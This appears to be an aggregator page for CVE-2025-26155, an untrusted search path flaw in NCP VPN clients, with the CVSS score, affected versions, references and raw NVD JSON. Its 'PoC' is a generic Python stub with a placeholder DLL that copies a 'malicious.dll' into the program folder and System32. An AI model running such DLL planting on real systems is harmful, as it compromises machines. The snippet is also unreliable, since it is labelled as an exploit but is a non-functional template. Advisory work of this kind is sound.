CVE-2025-26155

Description

NCP Secure Enterprise Client 13.18 and NCP Secure Entry Windows Client 13.19 have an Untrusted Search Path vulnerability.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ncp-e:ncp_secure_entry_client:13.19:*:*:*:*:windows:*:* - VULNERABLE

cpe:2.3:a:ncp-e:secure_enterprise_client:13.18:*:*:*:*:*:*:* - VULNERABLE

NCP Secure Enterprise Client < 13.20

NCP Secure Entry Windows Client < 13.20

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import shutil

# 恶意DLL生成示例
malicious_dll = b'MZ...'  # 实际的恶意DLL内容

# 创建恶意DLL文件
with open('malicious.dll', 'wb') as f:
    f.write(malicious_dll)

# 将恶意DLL放置在搜索路径中
search_paths = [
    'C:\\Program Files\\NCP\\Secure Enterprise Client\\',
    'C:\\Windows\\System32\\'
]

for path in search_paths:
    try:
        shutil.copy('malicious.dll', path)
        print(f'Malicious DLL placed in {path}')
    except:
        pass

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-26155
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-26155
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-26155/
[4] VulDB https://vuldb.com/cve/CVE-2025-26155
[5] https://pentest.axians.de/viewer.html?file=cve-2025-26155/CVE-axians-eng.pdf
[6] https://www.ncp-e.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-26155", "sourceIdentifier": "[email protected]", "published": "2025-11-26T19:15:46.967", "lastModified": "2025-12-30T15:41:08.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NCP Secure Enterprise Client 13.18 and NCP Secure Entry Windows Client 13.19 have an Untrusted Search Path vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ncp-e:ncp_secure_entry_client:13.19:*:*:*:*:windows:*:*", "matchCriteriaId": "555B6B88-3A1D-48F0-B193-67B1B5BC1CFA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ncp-e:secure_enterprise_client:13.18:*:*:*:*:*:*:*", "matchCriteriaId": "B7ACC890-BEA0-47C8-9E2A-382F39921C09"}]}]}], "references": [{"url": "https://pentest.axians.de/viewer.html?file=cve-2025-26155/CVE-axians-eng.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.ncp-e.com/", "source": "[email protected]", "tags": ["Product"]}]}}